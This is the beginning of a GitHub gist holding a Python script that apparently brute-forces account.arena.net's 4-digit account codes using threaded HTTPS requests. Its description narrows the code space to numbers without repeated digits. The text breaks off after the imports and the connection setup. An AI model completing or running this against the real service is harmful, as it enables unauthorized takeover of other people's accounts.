Skip to content

Instantly share code, notes, and snippets.

@DmytroSokhach
DmytroSokhach / arena.guildwars.net.py
Created July 13, 2018 19:55
Looks like account.arena.net 4 digit code possible combinations are numbers from 1023 up to 9876 which do not have reapeating characters
import http.client
import json
import datetime
from multiprocessing.dummy import Pool as ThreadPool
def performGetRequest(path):
connection = http.client.HTTPSConnection("account.arena.net")
headers = {
'Cache-Control': 'no-cache',